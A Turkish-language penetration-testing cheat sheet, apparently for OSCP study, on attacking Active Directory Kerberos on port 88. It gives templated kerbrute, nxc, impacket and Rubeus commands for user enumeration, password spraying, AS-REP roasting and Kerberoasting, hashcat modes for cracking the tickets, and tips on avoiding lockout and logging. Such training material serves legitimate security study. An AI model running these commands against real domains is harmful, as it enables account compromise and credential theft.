Kerberos
adKerberos (88/tcp+udp) Domain Controller'in kalbidir. Kimlik dogrulama burada doner: kerbrute ile kullanici enumerasyonu ve password spray, AS-REP Roasting (preauth kapali hesaplar) ve Kerberoasting (SPN'li hesaplar) icin baslangic noktasi. Clock skew (saat farki) 5 dakikadan fazla olursa KRB_AP_ERR_SKEW alirsin.
Komutlar
kerbrute userenum --dc {{DC_IP}} -d {{DOMAIN}} {{WORDLIST}} kerbrute passwordspray --dc {{DC_IP}} -d {{DOMAIN}} {{WORDLIST}} '{{PASS}}' nxc smb {{DC_IP}} -u {{WORDLIST}} -p '{{PASS}}' --no-bruteforce --continue-on-success impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile {{WORDLIST}} -no-pass -format hashcat -outputfile asrep.hashes impacket-GetNPUsers {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -format hashcat -outputfile asrep.hashes impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -outputfile kerb.hashes nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}} --kerberoasting kerb.out nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' --asreproast asrep.out Rubeus.exe kerberoast /outfile:kerb.hashes /nowrap Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes /nowrap sudo ntpdate {{DC_IP}} sudo timedatectl set-ntp off; sudo rdate -n {{DC_IP}} Port 88 - Kerberos (Active Directory Kimlik Dogrulama)
Port 88, Domain Controller’in kimlik dogrulama motorudur. AD saldirilarinin cogu burada baslar: kullanici enumerasyonu, password spray, AS-REP Roasting ve Kerberoasting.
1. Prerequisite - Saat Senkronizasyonu (Clock Skew)
Kerberos zaman hassastir. Kali ile DC arasindaki fark 5 dakikayi gecerse KRB_AP_ERR_SKEW ya da KRB_AP_ERR_TKT_NYV alirsin. Herhangi bir Kerberos islemi (GetUserSPNs, GetNPUsers, getTGT) oncesi DC saatine senkronize ol. Bunu unutmak en sik karsilasilan OSCP hatasidir.
2. Enum - Kullanici Enumerasyonu
kerbrute userenum Kerberos preauth davranisini kullanir: gecersiz kullanici icin KDC_ERR_C_PRINCIPAL_UNKNOWN, gecerli kullanici icin farkli yanit doner. Bu yontem hesap kilitleme (lockout) yapmaz ve cogunlukla log uretmez, bu yuzden sessizdir. Cikan gecerli listeyi spray ve roasting icin temel olarak kullan.
3. Attack - Password Spray
Tek parolayi (mevsim+yil, sirket adi+yil gibi) tum kullanicilara dene. Onemli gotcha: domain lockout esigini asma. Spray oncesi mumkunse nxc smb {{DC_IP}} -u {{USER}} -p '{{PASS}}' --pass-pol ile politikayi ogren ve esigin altinda kal.
4. Attack - AS-REP Roasting
DONT_REQUIRE_PREAUTH bayragi acik hesaplar icin KDC, parola dogrulamasi olmadan sifreli AS-REP doner. Bu hash offline kirilir (hashcat -m 18200). Credential gerekmeyebilir (-no-pass ile sadece kullanici listesi yeterli). Bu, ad-asrep teknigiyle dogrudan baglantilidir.
5. Attack - Kerberoasting
SPN atanmis (genelde servis) hesaplari icin herhangi bir gecerli domain kullanicisi TGS-REP isteyebilir. RC4 ile sifreli bilet offline kirilir (hashcat -m 13100). Modern ortamda AES-only hesaplar -m 19700 gerektirir. Bu ad-kerberoast teknigine besler.
Gotchalar
- Saat senkronizasyonunu her zaman once yap.
- Spray’de lockout esigine dikkat (badPwdCount).
- AES kullanan hesaplarda RC4 downgrade her zaman calismaz; Rubeus
/rc4opsec//tgtdelegsecenekleri yardimci olabilir. - GetUserSPNs/GetNPUsers Kerberos hatasi verirse once skew, sonra DNS (DC_HOST cozumlemesi /etc/hosts) kontrol et.